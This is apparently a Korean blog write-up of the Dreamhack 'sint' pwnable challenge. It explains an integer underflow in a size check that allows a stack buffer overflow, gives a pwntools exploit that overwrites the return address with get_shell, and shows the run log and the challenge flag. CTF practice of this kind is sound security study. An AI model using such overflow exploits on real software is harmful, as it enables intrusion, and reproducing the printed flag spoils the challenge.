콘텐츠로 건너뛰기

sint

Description

이 문제는 서버에서 작동하고 있는 서비스(sint)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요.
셸을 획득한 후, “flag” 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

Environment

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

Files

ubuntu@29c7cfc91700:~/CTF/dreamhack.io$ tree sint
sint
|-- sint
`-- sint.c

0 directories, 2 files

ubuntu@29c7cfc91700:~/CTF/dreamhack.io$ file ./sint/sint
./sint/sint: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=947126fc21f880e02d4cd134916108100c297998, not stripped

32비트 리눅스용 sint 실행 파일 및 소스코드

분석

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; // [esp+0h] [ebp-104h] BYREF
  char buf[256]; // [esp+4h] [ebp-100h] BYREF

  initialize();
  signal(11, get_shell);
  printf("Size: ");
  __isoc99_scanf("%d", &v4);
  if ( v4 >= 257 )
  {
    puts("Buffer Overflow!");
    exit(0);
  }
  printf("Data: ");
  read(0, buf, v4 - 1);
  return 0;
}

Size 값을 0으로 하면, 언더플로우가 일어나 buf를 4294967295 크기 만큼,
사실상 무제한으로 read 함수를 통해 buf를 입력받을 수 있다.

Solution

return address를 get_shell 주소로 덮어써줬다.

from pwn import *

context.log_level = 'debug'

#p = process("./sint")
p = remote('host3.dreamhack.games', 19863)
e = ELF('./sint')

get_shell = e.symbols['get_shell']
p.recvuntil('Size: ')
p.sendline("0")

payload = b"A"*260 + p32(get_shell)
p.recvuntil("Data: ")
p.sendline(payload)

p.interactive()

FLAG

DH{d66e84c453b960cfe37780e8ed9d70ab}

ubuntu@29c7cfc91700:~/CTF/dreamhack.io/sint$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 19863: Done
[*] '/home/ubuntu/CTF/dreamhack.io/sint/sint'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
/home/ubuntu/CTF/dreamhack.io/sint/solve.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil('Size: ')
[DEBUG] Received 0x6 bytes:
    b'Size: '
/home/ubuntu/CTF/dreamhack.io/sint/solve.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("0")
[DEBUG] Sent 0x2 bytes:
    b'0\n'
/home/ubuntu/CTF/dreamhack.io/sint/solve.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Data: ")
[DEBUG] Received 0x6 bytes:
    b'Data: '
[DEBUG] Sent 0x109 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000100  41 41 41 41  59 86 04 08  0a                        │AAAA│Y···│·│
    00000109
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0xa bytes:
    b'flag\n'
    b'sint\n'
flag
sint
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x24 bytes:
    b'DH{d66e84c453b960cfe37780e8ed9d70ab}'
DH{d66e84c453b960cfe37780e8ed9d70ab}$
태그:

답글 남기기